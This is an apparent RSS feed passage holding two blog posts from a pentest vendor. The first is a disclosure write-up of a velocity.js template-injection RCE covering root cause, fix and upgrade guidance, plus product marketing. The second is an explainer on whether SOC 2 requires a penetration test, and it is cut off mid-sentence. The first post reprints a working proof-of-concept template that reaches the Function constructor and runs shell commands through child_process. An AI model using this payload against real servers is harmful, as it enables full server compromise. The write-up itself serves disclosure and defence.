full-compromise bugs.&lt;/p&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73649&quot;&gt;CVE-2026-73649&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Advisory&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-7gfh-x38p-prh3&quot;&gt;GHSA-7gfh-x38p-prh3&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Severity&lt;/td&gt;&lt;td&gt;Critical, CVSS 9.8&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vector&lt;/td&gt;&lt;td&gt;AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Weakness&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/94.html&quot;&gt;CWE-94&lt;/a&gt;, code injection&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected&lt;/td&gt;&lt;td&gt;velocityjs 2.1.6 and earlier&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Patched&lt;/td&gt;&lt;td&gt;2.1.7 (July 19, 2026)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Class&lt;/td&gt;&lt;td&gt;Remote code execution via property read&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Reported by&lt;/td&gt;&lt;td&gt;cruzryan&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;background-a-template-engine-that-runs-expressions&quot;&gt;Background: a template engine that runs expressions&lt;/h2&gt;
&lt;p&gt;velocity.js is a JavaScript port of Apache Velocity, a template language.
You give it a template string and a context object, and it substitutes
values. It is a real dependency, not a toy: the
&lt;a href=&quot;https://www.npmjs.com/package/velocityjs&quot;&gt;velocityjs package on npm&lt;/a&gt;
records around 700,000 downloads a week, inside tools that render mail,
documents, and dashboards.&lt;/p&gt;
&lt;p&gt;Template engines are a classic server-side template injection target,
because a template is code, not data. The moment attacker input reaches the
template &lt;em&gt;source&lt;/em&gt; rather than the &lt;em&gt;context&lt;/em&gt;, the attacker is writing
expressions the engine will evaluate, and the only question left is how far
one of them can reach.&lt;/p&gt;
&lt;h3 id=&quot;the-prior-fix-set-the-stage&quot;&gt;The prior fix set the stage&lt;/h3&gt;
&lt;p&gt;In May 2026, velocity.js patched a separate issue,
&lt;a href=&quot;https://github.com/shepherdwind/velocity.js/security/advisories/GHSA-j658-c2gf-x6pq&quot;&gt;GHSA-j658-c2gf-x6pq&lt;/a&gt;
(CVE-2026-44966, CVSS 8.3), a prototype-pollution bug in &lt;code&gt;#set&lt;/code&gt; path
assignment. That fix taught the engine to reject dangerous keys like
&lt;code&gt;__proto__&lt;/code&gt;, &lt;code&gt;constructor&lt;/code&gt;, and &lt;code&gt;prototype&lt;/code&gt; when they appeared as the
&lt;em&gt;target&lt;/em&gt; of an assignment. It was the right fix for the write path. It did
nothing for reads.&lt;/p&gt;
&lt;h2 id=&quot;the-exploit-chain-step-by-step&quot;&gt;The exploit chain, step by step&lt;/h2&gt;
&lt;p&gt;The chain is short, which is what makes it dangerous. Here is the
proof of concept from the advisory, verbatim:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-high-contrast&quot; style=&quot;background-color:#0a0c10;color:#f0f3f6; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#91CBFF&quot;&gt; velocity&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#ADDCFF&quot;&gt;&apos;velocityjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#91CBFF&quot;&gt; template&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ADDCFF&quot;&gt; &quot;#set($f=$x.constructor.constructor(&apos;return process.mainModule.require(&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADDCFF&quot;&gt;child_process&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADDCFF&quot;&gt;).execSync(&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADDCFF&quot;&gt;whoami&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADDCFF&quot;&gt;).toString()&apos;))#set($r=$f())$r&quot;&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(velocity.&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt;render&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(template, { x: {} }));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The context passes in the most innocuous value imaginable, an empty object.
Everything else is walking properties the engine happily resolves.&lt;/p&gt;
&lt;h3 id=&quot;step-one-a-property-read-that-is-never-filtered&quot;&gt;Step one: a property read that is never filtered&lt;/h3&gt;
&lt;p&gt;When velocity evaluates the value expression in that &lt;code&gt;#set&lt;/code&gt;, it resolves the
reference through &lt;code&gt;getReferences()&lt;/code&gt;, which calls &lt;code&gt;getAttributes()&lt;/code&gt; to walk
each &lt;code&gt;.property&lt;/code&gt; in turn. As the advisory puts it:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The property access at line 88-89 has no filtering.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So &lt;code&gt;$x.constructor&lt;/code&gt; reads &lt;code&gt;constructor&lt;/code&gt; off the empty object and returns
&lt;code&gt;Object&lt;/code&gt;. No key is blocked: the earlier fix only guarded assignment
targets, and this is a read.&lt;/p&gt;
&lt;h3 id=&quot;step-two-constructor-of-a-constructor-is-function&quot;&gt;Step two: constructor of a constructor is Function&lt;/h3&gt;
&lt;p&gt;Read &lt;code&gt;.constructor&lt;/code&gt; a second time, on &lt;code&gt;Object&lt;/code&gt;, and you get JavaScript’s
&lt;code&gt;Function&lt;/code&gt; constructor, the canonical sandbox-escape primitive:
&lt;code&gt;Function(&apos;...body...&apos;)&lt;/code&gt; compiles a string into a callable function with
global scope. From there, &lt;code&gt;require(&apos;child_process&apos;)&lt;/code&gt; and &lt;code&gt;execSync&lt;/code&gt; are one
call away.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/velocity-rce-bypass.svg&quot; alt=&quot;Diagram showing the earlier velocity.js patch guarded the write path of set assignments while the read path that resolves property expressions stayed unfiltered and exploitable until version 2.1.7&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;step-three-build-the-function-and-call-it&quot;&gt;Step three: build the function and call it&lt;/h3&gt;
&lt;p&gt;The first &lt;code&gt;#set&lt;/code&gt; stores the compiled function in &lt;code&gt;$f&lt;/code&gt;; the second calls it
with &lt;code&gt;$f()&lt;/code&gt;; &lt;code&gt;$r&lt;/code&gt; renders the output. The advisory is blunt about the
consequence:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Any application that renders attacker-controlled Velocity templates using
velocityjs is vulnerable to full server compromise. The attacker can
execute arbitrary shell commands, read environment variables, access cloud
credentials, and pivot to internal network resources.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;why-the-previous-patch-did-not-stop-it&quot;&gt;Why the previous patch did not stop it&lt;/h2&gt;
&lt;p&gt;This is a pattern, not a one-off. The May fix reasoned about &lt;em&gt;where&lt;/em&gt;
dangerous keys are dangerous and concluded, correctly, that assigning to
&lt;code&gt;__proto__&lt;/code&gt; or &lt;code&gt;constructor&lt;/code&gt; was a problem. It hardened the write path. But
&lt;code&gt;constructor&lt;/code&gt; is equally dangerous as a thing you &lt;em&gt;read&lt;/em&gt;, because reading it
hands you a live reference you can keep walking. Guarding one direction left
the door open under a lock that looked closed.&lt;/p&gt;
&lt;p&gt;The lesson generalizes past this library: a mitigation that enumerates
dangerous &lt;em&gt;operations&lt;/em&gt; on a dangerous &lt;em&gt;value&lt;/em&gt; usually misses an operation.
The durable fix is to treat the value as forbidden in every position.&lt;/p&gt;
&lt;h3 id=&quot;what-the-real-fix-looks-like&quot;&gt;What the real fix looks like&lt;/h3&gt;
&lt;p&gt;That is exactly what the maintainer shipped in
&lt;a href=&quot;https://github.com/shepherdwind/velocity.js/pull/192&quot;&gt;pull request #192&lt;/a&gt;.
Instead of adding a second denylist next to the first, it introduces one
module, &lt;code&gt;src/compile/prototype-guard.ts&lt;/code&gt;, and calls it from both sides:
&lt;code&gt;references.ts&lt;/code&gt; on the read path (property, index, and method access) and
&lt;code&gt;set.ts&lt;/code&gt; on the assignment path, which drops its own duplicated checks. One
guard, every position, plus tests for inherited &lt;code&gt;constructor&lt;/code&gt; exposure. Copy
that shape.&lt;/p&gt;
&lt;h2 id=&quot;am-i-affected-and-how-to-fix-it&quot;&gt;Am I affected, and how to fix it&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; any service on velocityjs 2.1.6 or earlier that renders a
template whose text an attacker can influence, directly or through stored
data. &lt;strong&gt;Fixed:&lt;/strong&gt; 2.1.7.&lt;/p&gt;





















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Action&lt;/th&gt;&lt;th&gt;Command or check&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Upgrade&lt;/td&gt;&lt;td&gt;&lt;code&gt;npm install velocityjs@latest&lt;/code&gt;, then confirm 2.1.7 resolved in your lockfile&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Find transitive copies&lt;/td&gt;&lt;td&gt;&lt;code&gt;npm ls velocityjs&lt;/code&gt; to catch an old version pinned by a dependency&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Interim, if pinned&lt;/td&gt;&lt;td&gt;never render attacker-controlled template &lt;em&gt;source&lt;/em&gt;; pass user input only through the context object&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The interim mitigation matters because upgrading a transitive dependency is
not always instant. The precondition for the whole chain is that an attacker
can write the template text, so if template source is trusted code and user
input only ever arrives through the context object, the attacker never gets
to write &lt;code&gt;constructor&lt;/code&gt;. Upgrade anyway: defense in depth is cheaper than a
reachability argument you re-verify on every refactor.&lt;/p&gt;
&lt;h2 id=&quot;where-cve-2026-73649-is-tracked&quot;&gt;Where CVE-2026-73649 is tracked&lt;/h2&gt;
&lt;p&gt;One bug gets several identifiers, which is why scanners disagree about
whether you are patched. All of these describe the same flaw:&lt;/p&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Record&lt;/th&gt;&lt;th&gt;Where to read it&lt;/th&gt;&lt;th&gt;Status&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;CVE-2026-73649&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73649&quot;&gt;CVE List record&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Published August 13, 2026, CNA GitHub&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;GHSA-7gfh-x38p-prh3&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-7gfh-x38p-prh3&quot;&gt;GitHub Advisory Database&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Published July 24, 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;OSV entry&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://osv.dev/vulnerability/GHSA-7gfh-x38p-prh3&quot;&gt;osv.dev&lt;/a&gt;&lt;/td&gt;&lt;td&gt;npm ecosystem, fixed 2.1.7&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;NVD entry&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-73649&quot;&gt;nvd.nist.gov&lt;/a&gt;&lt;/td&gt;&lt;td&gt;ingesting from the CVE List&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed release&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.npmjs.com/package/velocityjs&quot;&gt;velocityjs 2.1.7 on npm&lt;/a&gt;&lt;/td&gt;&lt;td&gt;July 19, 2026&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The disclosure ran the coordinated path: reported privately, patch merged in
PR #192 on July 15, release 2.1.7 on July 19, advisory published July 24,
CVE issued August 13 after GitHub reviewed the record for CVE-rule
compliance. Nothing public until the fix existed. If your scanner keys on
the CVE rather than the GHSA, it stayed quiet for three weeks on a 9.8 you
were already exposed to, which is the argument for alerting on the advisory
database your ecosystem publishes to instead of waiting for NVD enrichment.&lt;/p&gt;
&lt;h2 id=&quot;what-a-library-rce-has-to-do-with-buying-a-pentest&quot;&gt;What a library RCE has to do with buying a pentest&lt;/h2&gt;
&lt;p&gt;The hardest thing to verify when you buy security testing is whether the
tester can find something a scanner cannot. A vendor can claim depth; a
credited, fixed, publicly numbered CVE is proof you can check yourself.&lt;/p&gt;
&lt;p&gt;It is also why our price works, the question founders actually ask. When you
own the whole testing stack, the attack agents, the exploitation tooling,
and the reporting, the marginal cost of a run is compute plus senior review,
not tester-weeks.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://hackzero.ai/learn/penetration-testing-cost&quot;&gt;full cost breakdown&lt;/a&gt; shows the day-rate math the
market runs on; ours is public at &lt;a href=&quot;https://hackzero.ai/pricing&quot;&gt;$299 a month under 10 people and $499 at
10 or more&lt;/a&gt;, against the $5,000 to $30,000 a single traditional
boutique test costs. Both include a pentest every month, unlimited if you
bring your own Anthropic key, and a human-validated engagement is $2,999 per
engagement on top.&lt;/p&gt;
&lt;p&gt;The same stack that found this velocity.js RCE has also produced a
&lt;a href=&quot;https://hackzero.ai/learn/jsonpath-plus-rce&quot;&gt;Function-constructor RCE in JSONPath-Plus&lt;/a&gt;, a
library pulled 12 million times a week, a
&lt;a href=&quot;https://hackzero.ai/learn/tough-cookie-cookie-leak&quot;&gt;cookie-leak in tough-cookie&lt;/a&gt; (about half a
billion downloads a month), a fixed &lt;a href=&quot;https://hackzero.ai/learn/tor-arti-rsa-key-size-check&quot;&gt;security-check bug in Tor’s
arti&lt;/a&gt;, and privately confirmed findings
in NASA. Its runs on the 104-challenge XBOW benchmark are
&lt;a href=&quot;https://hackzero.ai/benchmarks&quot;&gt;public&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;hackers-stay-in-the-loop&quot;&gt;Hackers stay in the loop&lt;/h3&gt;
&lt;p&gt;None of this is the AI alone. A model can surface a suspicious property
walk; a human confirms it reaches &lt;code&gt;Function&lt;/code&gt;, writes the proof of concept,
and files the coordinated disclosure. That division of labor, machine
coverage no human team can afford monthly plus a hacker validating
exploitability, is the model behind our
&lt;a href=&quot;https://hackzero.ai/product/white-box&quot;&gt;white-box testing&lt;/a&gt; and why a finding like this lands as
a real report rather than a scanner alert.&lt;/p&gt;
&lt;h3 id=&quot;where-else-this-matters&quot;&gt;Where else this matters&lt;/h3&gt;
&lt;p&gt;If you handle cardholder data, an exploitable RCE in a rendering path is
what &lt;a href=&quot;https://hackzero.ai/learn/pci-dss-penetration-testing-requirements&quot;&gt;PCI DSS 11.4&lt;/a&gt; exists
to catch and what a passing quarterly scan misses. The
&lt;a href=&quot;https://hackzero.ai/learn/does-soc-2-require-a-penetration-test&quot;&gt;difference between a scan and a test&lt;/a&gt;
is whether anyone chains the primitive to a shell.&lt;/p&gt;
&lt;h2 id=&quot;the-short-version&quot;&gt;The short version&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;We reported a critical RCE in velocity.js, CVSS 9.8, now
&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73649&quot;&gt;CVE-2026-73649&lt;/a&gt;
(GHSA-7gfh-x38p-prh3), fixed in 2.1.7.&lt;/li&gt;
&lt;li&gt;A template reads &lt;code&gt;$x.constructor.constructor&lt;/code&gt; to reach the Function
constructor and run shell commands.&lt;/li&gt;
&lt;li&gt;The prior patch guarded assignment (write) keys; the property-read path
was still unfiltered.&lt;/li&gt;
&lt;li&gt;Affected: velocityjs 2.1.6 and earlier. Fix: upgrade to 2.1.7, or never
render attacker-controlled template source.&lt;/li&gt;
&lt;li&gt;Public, credited findings like this are the check you can run on any
tester’s claim of depth: &lt;a href=&quot;https://hackzero.ai/pricing&quot;&gt;ours is a subscription&lt;/a&gt;, and the
&lt;a href=&quot;https://hackzero.ai/book&quot;&gt;engine points at your stack&lt;/a&gt; every month.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>ryan@hackzero.ai (Ryan Cruz)</author></item><item><title>Does SOC 2 require a penetration test?</title><link>https://hackzero.ai/learn/does-soc-2-require-a-penetration-test</link><guid isPermaLink="true">https://hackzero.ai/learn/does-soc-2-require-a-penetration-test</guid><description>SOC 2 does not mandate a penetration test. What the AICPA says, why auditors expect one, real 2026 price bands, and how to time the test in your window.</description><pubDate>Mon, 03 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1 id=&quot;does-soc-2-require-a-penetration-test&quot;&gt;Does SOC 2 require a penetration test?&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;No. No Trust Services Criterion mandates a penetration test.&lt;/strong&gt; The term
appears only in the AICPA’s non-binding “points of focus.” In practice your
auditor will expect a recent test anyway, your enterprise customers will ask
for the report itself, and the test must land inside your Type 2 observation
window to count as evidence. Here is how that works, with the source text.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/soc2-pentest-verdict-graphic.jpg&quot; alt=&quot;Infographic: SOC 2 does not require a penetration test but auditors still expect one, showing five steps: auditors expect it, timing matters, not a scan, retest and remediate, repeat annually&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On this page:&lt;/strong&gt; &lt;a href=&quot;#what-the-aicpa-actually-says&quot;&gt;what the AICPA says&lt;/a&gt; ·
&lt;a href=&quot;#why-auditors-expect-one-anyway&quot;&gt;why auditors expect one&lt;/a&gt; ·
&lt;a href=&quot;#internal-team-or-third-party&quot;&gt;internal or third party&lt;/a&gt; ·
&lt;a href=&quot;#the-timing-rule-that-catches-teams-out&quot;&gt;timing&lt;/a&gt; ·
&lt;a href=&quot;#a-scan-is-not-a-pentest-and-reviewers-can-tell&quot;&gt;scans vs pentests&lt;/a&gt; ·
&lt;a href=&quot;#what-it-costs-in-real-numbers&quot;&gt;cost&lt;/a&gt; ·
&lt;a href=&quot;#how-soc-2-compares-to-the-other-frameworks&quot;&gt;other frameworks&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;what-the-aicpa-actually-says&quot;&gt;What the AICPA actually says&lt;/h2&gt;
&lt;p&gt;SOC 2 audits are performed against the
&lt;a href=&quot;https://www.aicpa-cima.com/resources/download/2017-trust-services-criteria-with-revised-points-of-focus-2022&quot;&gt;Trust Services Criteria&lt;/a&gt;
(TSC, 2017 with revised 2022 points of focus). The criteria never require
penetration testing. The concept enters through two points of focus, which
the AICPA describes as illustrative guidance, not requirements.&lt;/p&gt;
&lt;h3 id=&quot;cc41-separate-evaluations&quot;&gt;CC4.1: separate evaluations&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;“COSO Principle 16: The entity selects, develops, and performs ongoing
and/or separate evaluations to ascertain whether the components of internal
control are present and functioning.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The supporting points of focus list penetration testing as a named example
of a separate evaluation. An example, not a mandate.&lt;/p&gt;
&lt;h3 id=&quot;cc71-vulnerability-detection&quot;&gt;CC7.1: vulnerability detection&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;“…the entity uses detection and monitoring procedures to identify (1)
changes to configurations that result in the introduction of new
vulnerabilities, and (2) susceptibilities to newly discovered
vulnerabilities.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Points of focus are explicitly optional. The AICPA’s own framework material
states that an entity can meet a criterion without addressing every point of
focus. That is the whole legal answer: &lt;strong&gt;penetration testing is an expected
form of evidence, not a requirement.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If someone tells you SOC 2 “requires” an annual pentest, they are selling
you one. We sell penetration tests and we are telling you it is not
required. What follows is why nearly everyone buys one anyway.&lt;/p&gt;
&lt;h2 id=&quot;why-auditors-expect-one-anyway&quot;&gt;Why auditors expect one anyway&lt;/h2&gt;
&lt;p&gt;Your auditor has to form an opinion on whether your vulnerability management
controls actually operated during the period. A recent penetration test is
the cheapest, densest piece of evidence that they did. Without one, auditors
typically respond in one of two ways: supplemental evidence requests (scan
logs, patch records, remediation tickets, assembled by you at the worst
possible time), or exception language in the report that your customers
will read.&lt;/p&gt;
&lt;p&gt;The customer side matters more than the auditor side. &lt;strong&gt;82% of companies use
SOC 2 reports as part of third-party security assessment&lt;/strong&gt;
(&lt;a href=&quot;https://www.whistic.com&quot;&gt;Whistic&lt;/a&gt; TPRM Impact Report, 2025), and the
market has become intolerant of thin evidence: in
&lt;a href=&quot;https://www.a-lign.com/articles/a-lign-releases-2026-compliance-benchmark-report&quot;&gt;A-LIGN’s 2026 compliance benchmark&lt;/a&gt;
(1,043 respondents, 85% US-headquartered), &lt;strong&gt;more than half of organizations
had a report rejected&lt;/strong&gt; for incomplete documentation or insufficient
testing, up from 38% two years earlier.&lt;/p&gt;
&lt;p&gt;Thomas Ptacek’s much-cited
&lt;a href=&quot;https://fly.io/blog/soc2-the-screenshots-will-continue-until-security-improves/&quot;&gt;fly.io essay on SOC 2&lt;/a&gt;
puts the relationship between the two artifacts plainly:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“[SOC 2 is] a weak positive indicator of security maturity, in the same
ballpark of significance as a penetration test report (but less
significant than multiple pentest reports).”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Security reviewers agree in practice. One CISO on the buyer side of vendor
reviews, &lt;a href=&quot;https://www.reddit.com/r/SaaS/comments/1ruf7ns/&quot;&gt;on r/SaaS&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“Give me a penetration test or allow me to run one, vulnerability reports,
SAST, DAST, SCA, and it doesn’t matter if you have SOC 2 or not.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;internal-team-or-third-party&quot;&gt;Internal team or third party?&lt;/h2&gt;
&lt;p&gt;SOC 2 does not say the tester must be external. The Trust Services Criteria
never mention tester independence at all. Even PCI DSS, the strictest
framework in common use, states repeatedly through &lt;a href=&quot;https://hackzero.ai/learn/pci-dss-penetration-testing-requirements&quot;&gt;Requirement
11.4&lt;/a&gt; that the tester is
“not required to be a QSA or ASV.” What PCI does demand
is &lt;strong&gt;organizational independence&lt;/strong&gt;: the tester cannot assess systems they
build, run, or maintain.&lt;/p&gt;
&lt;p&gt;That is the practical bar for SOC 2 too, and it is why small teams end up
buying the test. At seed or Series A, with one platform team, there is no
engineer who is independent of the systems being tested. Independence is a
quality bar rather than a legal one, and for most startups it is structurally
impossible to meet in-house.&lt;/p&gt;
&lt;h3 id=&quot;what-actually-gets-judged&quot;&gt;What actually gets judged&lt;/h3&gt;
&lt;p&gt;Your customers’ security teams will read the report. They will look at who
performed the test, what methodology was used, whether findings carry
working reproduction steps, and whether a retest verified the fixes. A
report that fails that reading is worse than no report, because it signals
you bought a checkbox.&lt;/p&gt;
&lt;h2 id=&quot;the-timing-rule-that-catches-teams-out&quot;&gt;The timing rule that catches teams out&lt;/h2&gt;
&lt;p&gt;For a Type 2 report, evidence has to come from inside your observation
window, the 3 to 12 month period the audit covers
(&lt;a href=&quot;https://linfordco.com/blog/soc-2-type-2-report/&quot;&gt;Linford &amp;#x26; Co&lt;/a&gt;, a licensed
CPA firm, notes 12-month windows are the most common). A penetration test
dated before the window opened is not evidence that the control operated
during the period.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/soc2-observation-window.svg&quot; alt=&quot;Timeline of a SOC 2 Type 2 observation window showing the penetration test booked early, findings fixed, a retest verifying the fixes, and the window closing before the report is issued&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;three-timing-rules&quot;&gt;Three timing rules&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Book the test early in the window&lt;/strong&gt;, not at the end. You need time to
fix what it finds and to document the remediation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expect a retest.&lt;/strong&gt; A finding that stays open at report time becomes an
exception. A finding that was found, fixed, and verified is a functioning
control.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Repeat annually and after major changes.&lt;/strong&gt; That is the cadence auditors
treat as normal, and it maps to the annual renewal of the report itself.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;a-scan-is-not-a-pentest-and-reviewers-can-tell&quot;&gt;A scan is not a pentest, and reviewers can tell&lt;/h2&gt;
&lt;p&gt;The cheap tier of this market sells automated scans dressed as penetration
tests. Buyers have noticed. A compliance readiness vendor describing its
competitors: “what they sell as a pen test we would call a vulnerability
scan (fully automated, no human involved).” A practitioner reviewing a
bundled compliance pentest called it “a very trivial, automated blackbox
affair, almost completely meaningless.”&lt;/p&gt;
&lt;p&gt;The consequence lands on you, not the vendor. A security reviewer
&lt;a href=&quot;https://www.reddit.com/r/soc2/comments/1uvsku1/&quot;&gt;on r/soc2&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“If I’m reviewing your report and you hand me a cheap/fast one that does
not meet the quality/reporting standards, then I will classify you as
worse than not having one at all.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The honest heuristic: if the price is under about $4,000 and the timeline
is under a week, you are buying a scan with a cover page, and the people
your SOC 2 is supposed to convince can tell. Our
&lt;a href=&quot;https://hackzero.ai/compare/manual-pentest&quot;&gt;comparison of manual pentests and continuous testing&lt;/a&gt;
goes deeper on what separates real testing from report theater.&lt;/p&gt;
&lt;h2 id=&quot;what-it-costs-in-real-numbers&quot;&gt;What it costs, in real numbers&lt;/h2&gt;
&lt;p&gt;Most firms in this market do not publish prices. These are the observable
2026 bands for a SOC 2-driven test of a typical SaaS product, consistent
with &lt;a href=&quot;https://deepstrike.io/blog/penetration-testing-cost&quot;&gt;DeepStrike’s market survey&lt;/a&gt;
(updated July 2026) and with what founders self-report paying. The full
band-by-band breakdown, including the day-rate math behind every quote, is
in &lt;a href=&quot;https://hackzero.ai/learn/penetration-testing-cost&quot;&gt;how much penetration testing costs&lt;/a&gt;:&lt;/p&gt;





















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Scope&lt;/th&gt;&lt;th&gt;Typical price&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Seed stage: one web app, one API, a few roles&lt;/td&gt;&lt;td&gt;$4,000 to $8,000&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Standard SaaS: web app + API + cloud config&lt;/td&gt;&lt;td&gt;$8,000 to $25,000&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Complex: multi-tenant, several auth tiers, large API surface&lt;/td&gt;&lt;td&gt;$15,000 to $40,000+&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/soc2-cost-stack.svg&quot; alt=&quot;Comparison of the typical 30 to 45 thousand dollar SOC 2 cost stack of platform, auditor, pentest and readiness consulting at retail, against an integrated structure of platform plus continuous pentest at 3,600 to 6,000 dollars a year and an independent CPA paid directly from 2,500 dollars&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;where-the-cheap-tier-breaks&quot;&gt;Where the cheap tier breaks&lt;/h3&gt;
&lt;p&gt;The trap is the single vendor who bundles the audit and the pentest into one
cheap fee. An auditor charging $150 an hour who sells one bundled fee near
